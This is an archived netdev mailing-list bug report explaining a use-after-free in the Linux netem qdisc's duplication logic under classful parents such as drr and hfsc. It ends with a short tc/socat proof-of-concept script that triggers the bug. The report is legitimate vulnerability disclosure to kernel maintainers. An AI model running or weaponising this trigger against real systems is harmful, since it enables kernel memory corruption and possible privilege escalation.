[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAHcdcOm+03OD2j6R0=YHKqmy=VgJ8xEOKuP6c7mSgnp-TEJJbw@mail.gmail.com>
Date: Mon, 14 Apr 2025 13:33:00 +0800
From: "Tai, Gerrard" <gerrard.tai@...rlabs.sg>
To: netdev@...r.kernel.org
Cc: Willy Tarreau <w@....eu>, Stephen Hemminger <stephen@...workplumber.org>,
Jamal Hadi Salim <jhs@...atatu.com>, Cong Wang <xiyou.wangcong@...il.com>, jiri@...nulli.us
Subject: [BUG] net/sched: netem: UAF due to duplication routine
Hi,
I found a bug in the netem qdisc's packet duplication logic. This can
lead to UAF in classful parents.
In netem_enqueue():
if (skb2) {
struct Qdisc *rootq = qdisc_root_bh(sch);
u32 dupsave = q->duplicate; /* prevent duplicating a dup... */
q->duplicate = 0;
rootq->enqueue(skb2, rootq, to_free); // [1]
q->duplicate = dupsave;
skb2 = NULL;
}
qdisc_qstats_backlog_inc(sch, skb);
cb = netem_skb_cb(skb);
if (q->gap == 0 || /* not doing reordering */
q->counter < q->gap - 1 || /* inside last reordering gap */
q->reorder < get_crandom(&q->reorder_cor, &q->prng)) {
// [...]
tfifo_enqueue(skb, sch); // [2]
When the netem qdisc tries to duplicate a packet, it enqueues the packet
into the root qdisc ([1]). Subsequently, tfifo_enqueue() is called at [2],
which increases the qdisc's qlen.
Consider when the netem qdisc is a child of a classful parent. For example,
in drr_enqueue(), there is first a check ([3]) if the child qdisc is
empty. Then, it enqueues the packet into the child qdisc ([4]). After the
enqueue succeeds, it activates the newly active child ([5]).
first = !cl->qdisc->q.qlen; // [3]
err = qdisc_enqueue(skb, cl->qdisc, to_free); // [4]
if (unlikely(err != NET_XMIT_SUCCESS)) {
if (net_xmit_drop_count(err)) {
cl->qstats.drops++;
qdisc_qstats_drop(sch);
}
return err;
}
if (first) { // [5]
list_add_tail(&cl->alist, &q->active);
cl->deficit = cl->quantum;
}
When the parent (drr) receives a packet to enqueue in an empty netem qdisc,
first = true at [3] and the packet is enqueued in netem. In netem, the
packet duplication enqueues the packet in the root qdisc, the parent drr,
again before it calls tfifo_enqueue() ([2]). So, the netem still has
qlen = 0 when the drr_enqueue() logic runs for the second time. This
causes first = true for the duplicate packet as well. Subsequently, both
calls succeed and the new child activation occurs twice at [5].
This 're-entrant' behaviour is present in other classful qdiscs as well.
In some cases, it can confuse a qdisc's internal tracking. Below is a PoC
with a hfsc parent that showcases a UAF scenario.
Proof of concept for UAF:
unshare -rn
$IP link set dev lo up
# setup victim hfsc
$TC qdisc add dev lo handle 1:0 root hfsc
$TC class add dev lo parent 1:0 classid 1:1 hfsc ls m2 10Mbit
$TC qdisc add dev lo parent 1:1 handle 2:0 netem duplicate 100%
$TC class add dev lo parent 1:0 classid 1:2 hfsc ls m2 10Mbit
$TC qdisc add dev lo parent 1:2 handle 3:0 netem duplicate 100%
echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
# delete class 1:1
$TC class del dev lo classid 1:1
# UAF, hfsc tries to dequeue from class 1:1
echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10002))
This should give a UAF splat when the kernel is compiled with KASAN.
Unfortunately, I don't have any great ideas regarding a patch.
Thanks!
Gerrard Tai
Powered by blists - more mailing lists